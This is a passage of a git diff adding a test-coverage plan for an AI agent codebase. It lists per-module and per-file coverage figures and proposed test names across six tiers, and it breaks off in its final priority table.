-- Minimum chunk size: 50 words (tiny trailing chunks merge with previous) +See `src/workspace/README.md` for full API documentation, filesystem structure, hybrid search details, chunking strategy, and heartbeat system. diff --git a/COVERAGE_PLAN.md b/COVERAGE_PLAN.md new file mode 100644 index 00000000..c9d7d73b --- /dev/null +++ b/COVERAGE_PLAN.md @@ -0,0 +1,862 @@ +# IronClaw Coverage Plan: 63.3% to 95% + +> Generated 2025-03-06 from [Codecov](https://app.codecov.io/gh/nearai/ironclaw/tree/main/src) + +## Current State + +| Metric | Value | +|--------|-------| +| **Current coverage** | 48,571 / 76,694 lines = **63.33%** | +| **Target** | 72,859 / 76,694 lines = **95.0%** | +| **Gap** | **24,288 lines** need coverage | +| **Files >= 95%** | 43 / 239 | +| **Files < 95%** | 196 (27,872 total misses) | + +## Module Summary + +Sorted by uncovered lines (descending): + +| Module | Lines | Hits | Miss | Coverage | Priority | +|--------|------:|-----:|-----:|---------:|----------| +| `channels/` | 14,079 | 8,677 | 5,402 | 61.6% | P0 | +| `tools/` | 13,445 | 9,407 | 4,038 | 70.0% | P1 | +| `agent/` | 9,152 | 6,096 | 3,056 | 66.6% | P0 | +| `setup/` | 3,005 | 462 | 2,543 | 15.4% | P1 | +| `extensions/` | 3,540 | 1,298 | 2,242 | 36.7% | P0 | +| `cli/` | 2,834 | 697 | 2,137 | 24.6% | P1 | +| `history/` | 1,626 | 0 | 1,626 | 0.0% | P0 | +| `llm/` | 7,029 | 5,776 | 1,253 | 82.2% | P2 | +| `(root)` | 4,122 | 3,121 | 1,001 | 75.7% | P2 | +| `worker/` | 1,274 | 480 | 794 | 37.7% | P1 | +| `sandbox/` | 1,615 | 897 | 718 | 55.5% | P2 | +| `registry/` | 1,588 | 1,107 | 481 | 69.7% | P2 | +| `db/` | 921 | 441 | 480 | 47.9% | P1 | +| `workspace/` | 2,006 | 1,584 | 422 | 79.0% | P2 | +| `orchestrator/` | 1,199 | 795 | 404 | 66.3% | P2 | +| `config/` | 1,464 | 1,095 | 369 | 74.8% | P2 | +| `hooks/` | 1,379 | 1,081 | 298 | 78.4% | P2 | +| `secrets/` | 687 | 407 | 280 | 59.2% | P2 | +| `skills/` | 1,714 | 1,585 | 129 | 92.5% | P3 | +| `context/` | 693 | 586 | 107 | 84.6% | P3 | +| `estimation/` | 467 | 369 | 98 | 79.0% | P3 | +| `safety/` | 1,424 | 1,337 | 87 | 93.9% | P3 | +| `evaluation/` | 226 | 152 | 74 | 67.3% | P3 | +| `pairing/` | 498 | 446 | 52 | 89.6% | P3 | +| `tunnel/` | 391 | 368 | 23 | 94.1% | P3 | +| `observability/` | 316 | 307 | 9 | 97.2% | Done | + +## Top 40 Files by Uncovered Lines + +These files account for the vast majority of the coverage gap: + +| File | Lines | Miss | Coverage | Lines to 95% | +|------|------:|-----:|---------:|--------------:| +| `src/extensions/manager.rs` | 2,404 | 2,083 | 13.3% | 1,962 | +| `src/setup/wizard.rs` | 2,150 | 1,789 | 16.8% | 1,681 | +| `src/history/store.rs` | 1,486 | 1,486 | 0.0% | 1,411 | +| `src/channels/web/server.rs` | 1,985 | 993 | 50.0% | 893 | +| `src/channels/wasm/wrapper.rs` | 2,237 | 934 | 58.2% | 822 | +| `src/agent/thread_ops.rs` | 1,044 | 763 | 26.9% | 710 | +| `src/cli/tool.rs` | 757 | 735 | 2.9% | 697 | +| `src/setup/channels.rs` | 645 | 596 | 7.6% | 563 | +| `src/agent/commands.rs` | 587 | 587 | 0.0% | 557 | +| `src/main.rs` | 740 | 522 | 29.4% | 485 | +| `src/channels/web/handlers/jobs.rs` | 513 | 456 | 11.1% | 430 | +| `src/tools/builder/core.rs` | 524 | 456 | 13.0% | 429 | +| `src/agent/worker.rs` | 1,078 | 467 | 56.7% | 413 | +| `src/channels/web/handlers/chat.rs` | 564 | 417 | 26.1% | 388 | +| `src/tools/wasm/wrapper.rs` | 1,005 | 436 | 56.6% | 385 | +| `src/channels/signal.rs` | 1,814 | 472 | 74.0% | 381 | +| `src/tools/mcp/auth.rs` | 472 | 378 | 19.9% | 354 | +| `src/worker/runtime.rs` | 350 | 330 | 5.7% | 312 | +| `src/tools/builtin/job.rs` | 1,014 | 359 | 64.6% | 308 | +| `src/cli/mcp.rs` | 322 | 319 | 0.9% | 302 | +| `src/cli/oauth_defaults.rs` | 730 | 335 | 54.1% | 298 | +| `src/llm/nearai_chat.rs` | 854 | 340 | 60.2% | 297 | +| `src/sandbox/container.rs` | 407 | 317 | 22.1% | 296 | +| `src/tools/mcp/client.rs` | 341 | 291 | 14.7% | 273 | +| `src/registry/installer.rs` | 765 | 311 | 59.3% | 272 | +| `src/orchestrator/job_manager.rs` | 405 | 270 | 33.3% | 249 | +| `src/channels/web/handlers/routines.rs` | 249 | 249 | 0.0% | 236 | +| `src/agent/scheduler.rs` | 559 | 263 | 53.0% | 235 | +| `src/tools/wasm/storage.rs` | 296 | 243 | 17.9% | 228 | +| `src/channels/repl.rs` | 233 | 233 | 0.0% | 221 | +| `src/llm/session.rs` | 413 | 242 | 41.4% | 221 | +| `src/worker/claude_bridge.rs` | 629 | 247 | 60.7% | 215 | +| `src/agent/agent_loop.rs` | 523 | 234 | 55.2% | 207 | +| `src/worker/api.rs` | 258 | 207 | 19.8% | 194 | +| `src/sandbox/proxy/http.rs` | 307 | 192 | 37.5% | 176 | +| `src/channels/wasm/storage.rs` | 182 | 182 | 0.0% | 172 | +| `src/cli/registry.rs` | 177 | 177 | 0.0% | 168 | +| `src/llm/reasoning.rs` | 1,163 | 219 | 81.2% | 160 | +| `src/tools/builder/testing.rs` | 308 | 174 | 43.5% | 158 | +| `src/db/postgres.rs` | 166 | 166 | 0.0% | 157 | + +--- + +## Tier 1 -- High-Impact Unit Tests (~8,500 lines) + +Pure logic, serialization, and database queries testable in isolation without real +infrastructure. Highest coverage gain per unit of effort. + +### `src/history/store.rs` -- 0% -> 95% (+1,411 lines) + +PostgreSQL repository layer (conversations, jobs, actions, LLM calls, estimation +snapshots). Test query construction and result mapping. Can use the libSQL backend +as a real in-memory database or test doubles for the `Database` trait. + +**Tests to write:** +- `test_store_conversation_crud` -- create, read, update, delete conversations +- `test_store_job_lifecycle` -- insert job, update status through state machine +- `test_store_action_recording` -- record and query job actions +- `test_store_llm_call_tracking` -- insert and aggregate LLM call records +- `test_store_estimation_snapshots` -- save and retrieve estimation data + +### `src/history/analytics.rs` -- 0% -> 95% (+133 lines) + +Aggregation queries (JobStats, ToolStats). Test the query builders and result +deserialization. + +**Tests to write:** +- `test_job_stats_aggregation` -- verify counts, durations, success rates +- `test_tool_stats_ranking` -- verify tool usage frequency sorting +- `test_analytics_empty_db` -- graceful handling of no data + +### `src/extensions/manager.rs` -- 13.3% -> 95% (+1,962 lines) + +Largest single file gap. Extension lifecycle orchestration (install, auth, +activate, remove), config parsing, and state transitions. + +**Tests to write:** +- `test_extension_install_from_manifest` -- parse manifest, create extension record +- `test_extension_auth_flow` -- OAuth token setup, credential storage +- `test_extension_activate_deactivate` -- state transitions, tool registration +- `test_extension_remove_cleanup` -- remove extension, clean up artifacts +- `test_extension_config_validation` -- reject invalid configs, handle defaults +- `test_extension_list_filtering` -- filter by status, type, search query +- `test_extension_capability_check` -- verify required capabilities before activation + +### `src/extensions/discovery.rs` -- 27.8% -> 95% (+125 lines) + +Extension discovery from filesystem and registry. + +**Tests to write:** +- `test_discover_local_extensions` -- scan directory, parse manifests +- `test_discover_skip_invalid` -- gracefully skip malformed extension dirs +- `test_discover_dedup` -- handle duplicate extensions across paths + +### `src/tools/builder/core.rs` -- 13% -> 95% (+429 lines) + +`BuildRequirement`, `SoftwareType`, `Language` types and project scaffolding. + +**Tests to write:** +- `test_build_requirement_parsing` -- deserialize from JSON +- `test_scaffold_project_structure` -- verify generated file tree +- `test_language_detection` -- detect language from file extensions +- `test_software_type_constraints` -- validate type-specific requirements + +### `src/tools/builder/testing.rs` -- 43.5% -> 95% (+158 lines) + +Test harness integration for built tools. + +**Tests to write:** +- `test_harness_setup_teardown` -- lifecycle of test environment +- `test_harness_run_tests` -- execute tests and capture results +- `test_harness_failure_reporting` -- verify error details on test failure + +### `src/tools/mcp/auth.rs` -- 19.9% -> 95% (+354 lines) + +OAuth token management for MCP servers. + +**Tests to write:** +- `test_token_refresh_on_expiry` -- auto-refresh when token expires +- `test_token_header_injection` -- correct Authorization header format +- `test_token_persistence` -- save/load tokens across restarts +- `test_oauth_pkce_flow` -- code verifier/challenge generation +- `test_auth_config_parsing` -- parse various auth config formats + +### `src/tools/mcp/client.rs` -- 14.7% -> 95% (+273 lines) + +JSON-RPC client for MCP protocol. + +**Tests to write:** +- `test_jsonrpc_request_serialization` -- correct JSON-RPC 2.0 format +- `test_jsonrpc_response_parsing` -- handle success, error, and batch responses +- `test_jsonrpc_error_codes` -- map MCP error codes to ToolError +- `test_tool_list_discovery` -- parse tools/list response +- `test_tool_call_roundtrip` -- serialize call, parse result + +### `src/tools/wasm/storage.rs` -- 17.9% -> 95% (+228 lines) + +WASM tool persistence (store, load, delete, list). + +**Tests to write:** +- `test_wasm_tool_store_roundtrip` -- store and retrieve tool binary + metadata +- `test_wasm_tool_delete` -- remove tool and verify gone +- `test_wasm_tool_list_filtering` -- filter by name, capability +- `test_wasm_tool_update_metadata` -- update without re-uploading binary + +### `src/tools/wasm/wrapper.rs` -- 56.6% -> 95% (+385 lines) + +Tool trait wrapper for WASM modules. + +**Tests to write:** +- `test_wasm_param_marshalling` -- JSON params to WASM component model types +- `test_wasm_output_conversion` -- WASM return values to ToolOutput +- `test_wasm_error_propagation` -- WASM traps to ToolError +- `test_wasm_fuel_exhaustion` -- verify fuel limit enforcement +- `test_wasm_memory_limit` -- verify memory ceiling + +### `src/tools/wasm/loader.rs` -- 62.4% -> 95% (+156 lines) + +WASM tool discovery from filesystem. + +**Tests to write:** +- `test_loader_scan_directory` -- find .wasm files with capabilities.json +- `test_loader_skip_invalid` -- skip files without valid WIT exports +- `test_loader_cache_invalidation` -- reload when file changes + +### `src/tools/builtin/job.rs` -- 64.6% -> 95% (+308 lines) + +Job management tools (CreateJob, ListJobs, JobStatus, CancelJob). + +**Tests to write:** +- `test_create_job_params` -- validate required/optional parameters +- `test_list_jobs_formatting` -- verify output structure +- `test_job_status_transitions` -- query status at each state +- `test_cancel_job_running` -- cancel an in-progress job +- `test_cancel_job_completed` -- error on already-completed job + +### `src/secrets/store.rs` -- 48.1% -> 95% (+145 lines) + +Encrypted secret storage. + +**Tests to write:** +- `test_secret_store_roundtrip` -- store encrypted, retrieve decrypted +- `test_secret_update` -- overwrite existing secret +- `test_secret_delete` -- remove and verify inaccessible +- `test_secret_list_redacted` -- list shows names but not values + +### `src/llm/session.rs` -- 41.4% -> 95% (+221 lines) + +Session token management with auto-renewal. + +**Tests to write:** +- `test_session_token_parsing` -- parse `sess_xxx` format +- `test_session_expiry_detection` -- detect expired tokens +- `test_session_auto_renewal` -- trigger renewal before expiry +- `test_session_concurrent_renewal` -- only one renewal in flight + +### `src/llm/nearai_chat.rs` -- 60.2% -> 95% (+297 lines) + +NEAR AI Chat Completions provider. + +**Tests to write:** +- `test_nearai_request_building` -- correct endpoint, headers, body +- `test_nearai_response_parsing` -- parse streaming and non-streaming responses +- `test_nearai_tool_message_flattening` -- tool messages flattened to text +- `test_nearai_auth_modes` -- session token vs API key auth +- `test_nearai_error_handling` -- rate limits, auth failures, server errors + +### `src/llm/mod.rs` -- 53.7% -> 95% (+112 lines) + +Provider factory and backend selection. + +**Tests to write:** +- `test_provider_factory_nearai` -- select NEAR AI from config +- `test_provider_factory_openai` -- select OpenAI from config +- `test_provider_factory_ollama` -- select Ollama from config +- `test_provider_factory_invalid` -- error on unknown backend + +### `src/llm/reasoning.rs` -- 81.2% -> 95% (+160 lines) + +Planning, tool selection, evaluation logic. + +**Tests to write:** +- `test_reasoning_step_parsing` -- parse planning steps from LLM output +- `test_tool_selection_scoring` -- rank tools by relevance +- `test_evaluation_rubric` -- score completions against criteria +- `test_reasoning_with_no_tools` -- handle tool-less responses + +### `src/db/postgres.rs` -- 0% -> 95% (+157 lines) + +PostgreSQL backend delegation to Store + Repository. + +**Tests to write:** +- `test_postgres_backend_delegates` -- verify delegation pattern (trait-level) +- `test_postgres_connection_config` -- TLS, pool size, timeout parsing + +### `src/workspace/mod.rs` -- 75.9% -> 95% (+109 lines) + +Memory operations (write, read, search, tree). + +**Tests to write:** +- `test_workspace_write_read` -- write document, read it back +- `test_workspace_search_hybrid` -- FTS + vector search via RRF +- `test_workspace_tree` -- directory listing of memory filesystem +- `test_workspace_overwrite` -- update existing document + +### `src/workspace/embeddings.rs` -- 35.1% -> 95% (~100 lines) + +Embedding provider abstraction. + +**Tests to write:** +- `test_embedding_dimension_handling` -- verify dimension config +- `test_embedding_batch_processing` -- batch multiple chunks +- `test_embedding_provider_fallback` -- graceful degradation when unavailable + +--- + +## Tier 2 -- Trace Tests (~7,000 lines) + +End-to-end tests that exercise the agent loop, worker, scheduler, and dispatcher +by replaying LLM traces through `TestRig` (see `tests/support/test_rig.rs`). Each +trace test covers multiple modules simultaneously, making them high-leverage. + +Each trace test needs: +1. A JSON fixture in `tests/fixtures/llm_traces/` +2. A test file in `tests/` using `TestRigBuilder` + +### Trace: Thread Operations + +**Covers:** `agent/thread_ops.rs` (+710 lines) + +Test thread creation, listing, switching, and deletion via trace replay. + +**Fixture:** `thread_operations.json` +**Tests:** +- `test_thread_create_and_switch` -- create thread, switch to it, verify context +- `test_thread_list` -- list all threads, verify metadata +- `test_thread_delete` -- delete thread, verify removal +- `test_thread_switch_nonexistent` -- error handling for missing thread + +### Trace: Agent Commands + +**Covers:** `agent/commands.rs` (+557 lines) + +Test slash commands through the agent loop. + +**Fixture:** `agent_commands.json` +**Tests:** +- `test_command_help` -- /help returns command list +- `test_command_clear` -- /clear resets conversation +- `test_command_compact` -- /compact triggers summarization +- `test_command_undo_redo` -- /undo then /redo restores state +- `test_command_status` -- /status shows agent state + +### Trace: Worker Multi-Turn Execution + +**Covers:** `agent/worker.rs` (+413 lines), `agent/agent_loop.rs` (+207 lines) + +Test multi-turn tool calling, error recovery, and completion flows. + +**Fixture:** `worker_multi_turn.json` +**Tests:** +- `test_worker_sequential_tools` -- call tool A, then tool B based on A's result +- `test_worker_tool_error_recovery` -- tool fails, agent retries or adapts +- `test_worker_max_turns` -- verify turn limit enforcement + +### Trace: Scheduler Parallel Jobs + +**Covers:** `agent/scheduler.rs` (+235 lines) + +Test parallel job dispatch and completion tracking. + +**Fixture:** `scheduler_parallel.json` +**Tests:** +- `test_scheduler_parallel_dispatch` -- dispatch 3 jobs, all complete +- `test_scheduler_job_dependency` -- job B waits for job A +- `test_scheduler_stuck_detection` -- detect and recover stuck job + +### Trace: Dispatcher Skill Selection + +**Covers:** `agent/dispatcher.rs` (+153 lines) + +Test skill-aware routing and tool attenuation. + +**Fixture:** `dispatcher_skills.json` +**Tests:** +- `test_dispatcher_skill_match` -- match message to skill, inject prompt +- `test_dispatcher_tool_attenuation` -- installed skill loses dangerous tools +- `test_dispatcher_no_skill` -- fallback when no skill matches + +### Trace: Routine Execution + +**Covers:** `agent/routine_engine.rs` (~80 lines), `agent/routine.rs` (~40 lines) + +Test cron tick and event-triggered routine execution. + +**Fixture:** `routine_execution.json` +**Tests:** +- `test_routine_cron_trigger` -- routine fires on schedule +- `test_routine_event_trigger` -- routine fires on matching event +- `test_routine_guardrails` -- routine respects policy constraints + +### Trace: Compaction and Context Pressure + +**Covers:** `agent/compaction.rs` (~50 lines), `agent/context_monitor.rs` (~30 lines) + +Test turn summarization and memory pressure detection. + +**Fixture:** `compaction_flow.json` +**Tests:** +- `test_compaction_triggers_at_threshold` -- summarize when context exceeds limit +- `test_compaction_preserves_recent` -- keep recent turns intact +- `test_context_pressure_warning` -- emit warning at high usage + +### Trace: Job Tool Coverage + +**Covers:** `tools/builtin/job.rs` (+308 lines), `tools/builtin/skill_tools.rs` (+110 lines) + +Test job and skill management tools through agent execution. + +**Fixture:** `job_and_skill_tools.json` +**Tests:** +- `test_create_and_list_jobs` -- create job, list shows it +- `test_job_status_query` -- query status of running job +- `test_skill_list_and_search` -- list local skills, search registry + +### Trace: Memory Tools + +**Covers:** `tools/builtin/memory.rs` (~20 lines), `workspace/` (+109 lines) + +Test memory operations through agent tool calls. + +**Fixture:** `memory_tools.json` +**Tests:** +- `test_memory_write_and_search` -- write doc, search finds it +- `test_memory_read_by_path` -- read specific document +- `test_memory_tree` -- list memory filesystem structure + +### Trace: Extension Management + +**Covers:** `tools/builtin/extension_tools.rs` (~40 lines) + +Test extension lifecycle via agent tool calls. + +**Fixture:** `extension_management.json` +**Tests:** +- `test_extension_install_via_tool` -- agent installs an extension +- `test_extension_auth_via_tool` -- agent configures auth +- `test_extension_activate_via_tool` -- agent activates extension + +### Trace: Self-Repair + +**Covers:** `agent/self_repair.rs` (~40 lines) + +Test stuck job detection and recovery. + +**Fixture:** `self_repair.json` +**Tests:** +- `test_stuck_job_detected` -- job stuck for > threshold triggers repair +- `test_stuck_job_recovered` -- recovery restarts job successfully +- `test_stuck_job_fails_permanently` -- recovery fails, job marked failed + +### Trace: Heartbeat + +**Covers:** `agent/heartbeat.rs` (+80 lines) + +Test periodic proactive execution. + +**Fixture:** `heartbeat.json` +**Tests:** +- `test_heartbeat_periodic_fire` -- heartbeat triggers at interval +- `test_heartbeat_reads_checklist` -- reads HEARTBEAT.md, processes items +- `test_heartbeat_notification` -- sends notification on findings + +--- + +## Tier 3 -- Web/Channel Handler Tests (~4,500 lines) + +Test HTTP handlers and SSE/WS endpoints using `axum_test` or +`tower::ServiceExt::oneshot` with a real router and in-memory database. + +### `src/channels/web/server.rs` -- 50% -> 95% (+893 lines) + +The single biggest web gap. 40+ API endpoints. + +**Tests to write:** +- `test_api_health` -- GET /health returns 200 +- `test_api_chat_submit` -- POST /api/chat sends message +- `test_api_jobs_list` -- GET /api/jobs returns job list +- `test_api_jobs_create` -- POST /api/jobs creates job +- `test_api_routines_crud` -- full CRUD cycle for routines +- `test_api_settings_get_set` -- GET/PUT settings +- `test_api_memory_search` -- POST /api/memory/search +- `test_api_extensions_list` -- GET /api/extensions +- `test_api_skills_list` -- GET /api/skills +- `test_api_sse_connect` -- SSE stream connects and receives events +- `test_api_auth_required` -- endpoints reject missing/bad tokens +- `test_api_cors_headers` -- verify CORS configuration + +### `src/channels/web/handlers/chat.rs` -- 26.1% -> 95% (+388 lines) + +Chat message submission and SSE streaming. + +**Tests to write:** +- `test_chat_submit_message` -- submit message, receive response +- `test_chat_sse_stream` -- verify SSE event format +- `test_chat_thread_context` -- messages scoped to thread +- `test_chat_invalid_payload` -- reject malformed requests + +### `src/channels/web/handlers/jobs.rs` -- 11.1% -> 95% (+430 lines) + +Job CRUD endpoints. + +**Tests to write:** +- `test_jobs_list_empty` -- empty list returns [] +- `test_jobs_create_and_get` -- create, then GET by ID +- `test_jobs_cancel` -- cancel running job +- `test_jobs_filter_by_status` -- filter by pending/running/completed +- `test_jobs_pagination` -- limit/offset parameters + +### `src/channels/web/handlers/routines.rs` -- 0% -> 95% (+236 lines) + +Routine CRUD endpoints. + +**Tests to write:** +- `test_routines_create` -- POST creates routine +- `test_routines_list` -- GET lists all routines +- `test_routines_update` -- PUT updates routine config +- `test_routines_delete` -- DELETE removes routine +- `test_routines_history` -- GET history for a routine + +### `src/channels/web/handlers/extensions.rs` -- 0% -> 95% (+129 lines) + +Extension management endpoints. + +**Tests to write:** +- `test_extensions_list` -- list installed extensions +- `test_extensions_install` -- install from manifest URL +- `test_extensions_activate` -- activate/deactivate toggle +- `test_extensions_remove` -- remove installed extension + +### `src/channels/web/handlers/memory.rs` -- 0% -> 95% (+110 lines) + +Memory/workspace endpoints. + +**Tests to write:** +- `test_memory_search` -- search returns ranked results +- `test_memory_write` -- write a document +- `test_memory_read` -- read by path +- `test_memory_tree` -- tree returns filesystem structure + +### `src/channels/web/handlers/settings.rs` -- 0% -> 95% (+103 lines) + +Settings endpoints. + +**Tests to write:** +- `test_settings_get` -- retrieve current settings +- `test_settings_update` -- update individual setting +- `test_settings_validation` -- reject invalid setting values + +### `src/channels/web/handlers/static_files.rs` -- 0% -> 95% (+97 lines) + +Static file serving. + +**Tests to write:** +- `test_static_index_html` -- GET / serves index.html +- `test_static_css_js` -- serve CSS/JS with correct content types +- `test_static_404` -- missing file returns 404 + +### `src/channels/wasm/wrapper.rs` -- 58.2% -> 95% (+822 lines) + +WASM channel wrapper (message routing, lifecycle). + +**Tests to write:** +- `test_wasm_channel_start` -- initialize WASM channel module +- `test_wasm_channel_message_routing` -- route incoming message to WASM +- `test_wasm_channel_response` -- return WASM response to caller +- `test_wasm_channel_error_handling` -- handle WASM trap gracefully +- `test_wasm_channel_lifecycle` -- start, process, shutdown + +### `src/channels/wasm/loader.rs` -- 38.1% -> 95% (+141 lines) + +WASM channel discovery. + +**Tests to write:** +- `test_channel_loader_scan` -- find channel WASM modules +- `test_channel_loader_validation` -- reject invalid modules +- `test_channel_loader_manifest` -- parse channel capabilities + +### `src/channels/wasm/storage.rs` -- 0% -> 95% (+172 lines) + +WASM channel state persistence. + +**Tests to write:** +- `test_channel_storage_save_load` -- persist and restore channel state +- `test_channel_storage_isolation` -- per-channel state isolation +- `test_channel_storage_cleanup` -- remove state on channel uninstall + +### `src/channels/signal.rs` -- 74% -> 95% (+381 lines) + +Signal protocol channel. + +**Tests to write:** +- `test_signal_message_send` -- send encrypted message +- `test_signal_message_receive` -- decrypt incoming message +- `test_signal_attachment_handling` -- handle media attachments +- `test_signal_group_message` -- group chat routing +- `test_signal_error_handling` -- handle connection failures + +### `src/channels/repl.rs` -- 0% -> 95% (+221 lines) + +Simple REPL channel. + +**Tests to write:** +- `test_repl_input_parsing` -- parse user input lines +- `test_repl_output_formatting` -- format agent responses +- `test_repl_multiline` -- handle multi-line input +- `test_repl_special_commands` -- handle /quit, /help + +--- + +## Tier 4 -- CLI Tests (~2,100 lines) + +CLI subcommands can be tested by invoking clap-parsed command structs directly +or by calling the handler functions with constructed arguments. + +### `src/cli/tool.rs` -- 2.9% -> 95% (+697 lines) + +Tool CLI (install, list, remove, build). + +**Tests to write:** +- `test_cli_tool_list` -- list installed tools +- `test_cli_tool_install_local` -- install from local .wasm file +- `test_cli_tool_install_registry` -- install from registry +- `test_cli_tool_remove` -- remove installed tool +- `test_cli_tool_build` -- scaffold and build tool project +- `test_cli_tool_info` -- display tool details + +### `src/cli/mcp.rs` -- 0.9% -> 95% (+302 lines) + +MCP server management CLI. + +**Tests to write:** +- `test_cli_mcp_list` -- list configured MCP servers +- `test_cli_mcp_add` -- add MCP server config +- `test_cli_mcp_remove` -- remove MCP server config +- `test_cli_mcp_tools` -- list tools from MCP server +- `test_cli_mcp_test_connection` -- verify MCP server reachable + +### `src/cli/oauth_defaults.rs` -- 54.1% -> 95% (+298 lines) + +OAuth default configurations. + +**Tests to write:** +- `test_oauth_defaults_loading` -- load default OAuth configs +- `test_oauth_url_construction` -- build auth/token URLs +- `test_oauth_scope_merging` -- merge requested scopes with defaults +- `test_oauth_provider_lookup` -- lookup by provider name + +### `src/cli/registry.rs` -- 0% -> 95% (+168 lines) + +Registry CLI commands. + +**Tests to write:** +- `test_cli_registry_search` -- search for packages +- `test_cli_registry_install` -- install package from registry +- `test_cli_registry_info` -- display package details + +### `src/cli/status.rs` -- 0% -> 95% (+142 lines) + +Status display commands. + +**Tests to write:** +- `test_cli_status_gathering` -- collect system status info +- `test_cli_status_formatting` -- render status output +- `test_cli_status_components` -- check individual components + +### `src/cli/memory.rs` -- 15.5% -> 95% (+138 lines) + +Memory CLI subcommands. + +**Tests to write:** +- `test_cli_memory_search` -- search workspace from CLI +- `test_cli_memory_write` -- write document from CLI +- `test_cli_memory_read` -- read document from CLI +- `test_cli_memory_tree` -- display memory tree + +### `src/cli/doctor.rs` -- 28.7% -> 95% (+115 lines) + +Diagnostic checks. + +**Tests to write:** +- `test_doctor_check_database` -- verify DB connectivity check +- `test_doctor_check_llm` -- verify LLM provider check +- `test_doctor_check_tools` -- verify tool availability check +- `test_doctor_report_format` -- verify output format + +### `src/cli/config.rs` -- 36.5% -> 95% (~100 lines) + +Config CLI subcommands. + +**Tests to write:** +- `test_cli_config_get` -- read config value +- `test_cli_config_set` -- write config value +- `test_cli_config_list` -- list all config keys +- `test_cli_config_reset` -- reset to defaults + +--- + +## Tier 5 -- Setup/Infra Tests (~2,400 lines) + +Hardest to test: interactive wizards, Docker, process spawning. Strategy: extract +pure logic into testable functions, test the interactive parts by injecting mock +input. + +### `src/setup/wizard.rs` -- 16.8% -> 95% (+1,681 lines) + +7-step interactive onboarding wizard. Refactor to extract validation functions, +step logic, and config generation into testable units. + +**Tests to write:** +- `test_wizard_step_validation` -- each step validates input correctly +- `test_wizard_config_generation` -- generate config from wizard answers +- `test_wizard_default_values` -- verify sensible defaults +- `test_wizard_skip_completed` -- skip already-configured steps +- `test_wizard_llm_backend_selection` -- provider-specific config paths +- `test_wizard_channel_setup` -- channel configuration logic + +### `src/setup/channels.rs` -- 7.6% -> 95% (+563 lines) + +Channel setup helpers. + +**Tests to write:** +- `test_channel_setup_defaults` -- default channel configuration +- `test_channel_setup_validation` -- reject invalid channel configs +- `test_channel_setup_telegram` -- Telegram-specific setup logic +- `test_channel_setup_signal` -- Signal-specific setup logic +- `test_channel_setup_webhook` -- webhook URL validation + +### `src/setup/prompts.rs` -- 24.8% -> 95% (+147 lines) + +Terminal prompt utilities. + +**Tests to write:** +- `test_prompt_select` -- selection from list +- `test_prompt_confirm` -- yes/no confirmation +- `test_prompt_secret` -- masked input +- `test_prompt_validation` -- input validation rules + +### `src/sandbox/container.rs` -- 22.1% -> 95% (+296 lines) + +Docker container lifecycle. Test command construction without actual Docker. + +**Tests to write:** +- `test_container_config_to_docker_args` -- generate correct docker run args +- `test_container_volume_mounts` -- workspace mount configuration +- `test_container_env_scrubbing` -- sensitive env vars removed +- `test_container_resource_limits` -- CPU/memory limit args +- `test_container_network_config` -- proxy network setup + +### `src/sandbox/manager.rs` -- 59% -> 95% (+114 lines) + +Sandbox orchestration. + +**Tests to write:** +- `test_sandbox_policy_enforcement` -- policy to container config mapping +- `test_sandbox_cleanup` -- cleanup on job completion +- `test_sandbox_concurrent_limit` -- enforce max concurrent containers + +### `src/sandbox/proxy/http.rs` -- 37.5% -> 95% (+176 lines) + +HTTP proxy for container network access. + +**Tests to write:** +- `test_proxy_allowlist_enforcement` -- block disallowed domains +- `test_proxy_credential_injection` -- inject auth headers +- `test_proxy_connect_tunnel` -- HTTPS CONNECT method handling +- `test_proxy_logging` -- request/response logging + +### `src/worker/runtime.rs` -- 5.7% -> 95% (+312 lines) + +Worker execution loop (runs inside containers). + +**Tests to write:** +- `test_worker_tool_dispatch` -- dispatch tool call, return result +- `test_worker_llm_interaction` -- send prompt, receive response +- `test_worker_turn_limit` -- enforce max turns +- `test_worker_error_propagation` -- tool error surfaces to agent + +### `src/worker/claude_bridge.rs` -- 60.7% -> 95% (+215 lines) + +Claude CLI bridge. + +**Tests to write:** +- `test_claude_command_construction` -- build claude CLI command +- `test_claude_output_parsing` -- parse claude CLI JSON output +- `test_claude_error_handling` -- handle CLI crashes gracefully +- `test_claude_config_injection` -- inject config dir and model + +### `src/worker/api.rs` -- 19.8% -> 95% (+194 lines) + +Worker HTTP client to orchestrator. + +**Tests to write:** +- `test_worker_api_request_building` -- correct endpoint URLs and headers +- `test_worker_api_response_parsing` -- parse orchestrator responses +- `test_worker_api_auth_token` -- bearer token injection +- `test_worker_api_retry` -- retry on transient failures + +### `src/main.rs` -- 29.4% -> 95% (+485 lines) + +Entry point and startup. Extract startup logic into testable functions. + +**Tests to write:** +- `test_cli_arg_parsing` -- verify clap argument parsing +- `test_startup_config_loading` -- config from env + file +- `test_startup_channel_selection` -- select channels from config +- `test_startup_feature_flags` -- feature-gated code paths + +--- + +## Tier 6 -- Remaining Files to 95% (~2,000 lines) + +Smaller files that each need a handful of additional tests. + +| File | Lines Needed | Test Focus | +|------|-------------:|------------| +| `src/tools/builtin/skill_tools.rs` | 110 | skill_list, skill_search, skill_install, skill_remove | +| `src/hooks/bundled.rs` | 115 | bundled hook execution, hook discovery | +| `src/registry/installer.rs` | 272 | package download, verification, installation | +| `src/registry/artifacts.rs` | 72 | artifact packaging, checksums | +| `src/orchestrator/job_manager.rs` | 249 | container lifecycle, job routing | +| `src/orchestrator/api.rs` | 125 | LLM proxy, event dispatch endpoints | +| `src/app.rs` | 137 | AppBuilder configuration, startup sequence | +| `src/service.rs` | 120 | service lifecycle, signal handling | +| `src/config/channels.rs` | 55 | channel config parsing | +| `src/config/sandbox.rs` | 61 | sandbox config parsing | +| `src/config/tunnel.rs` | 43 | tunnel config parsing | +| `src/config/mod.rs` | 63 | config merging, env override | +| `src/config/database.rs` | 38 | database URL parsing | +| `src/evaluation/success.rs` | 34 | success evaluator logic | +| `src/evaluation/metrics.rs` | 40 | metrics collection | +| `src/context/manager.rs` | 57 | concurrent job context isolation | +| `src/context/memory.rs` | 36 | action recording, conversation memory | + +--- + +## Execution Priority + +Maximize coverage gain per unit of effort: + +| Order | Category | Lines Gained | Effort | +|------:|----------|-------------:|--------| +| 1 | Trace tests (Tier 2) | ~7,000 | Medium (high leverage, each test covers many modules) | +| 2 | Unit tests for 0% files (Tier 1 subset) | ~3,500 | Low (pure logic, no infrastructure) | +| 3 | Web handler tests (Tier 3) | ~4,500 | Medium (axum_test + in-memory DB) | +| 4 | Extension/MCP/WASM unit tests (Tier 1 remainder) | ~3,500 | Medium | +| 5 | CLI subcommand tests (Tier 4) | ~2,100 | Low-Medium | +| 6 | Setup wizard extraction + tests (Tier 5) | ~2,400 | High (requires 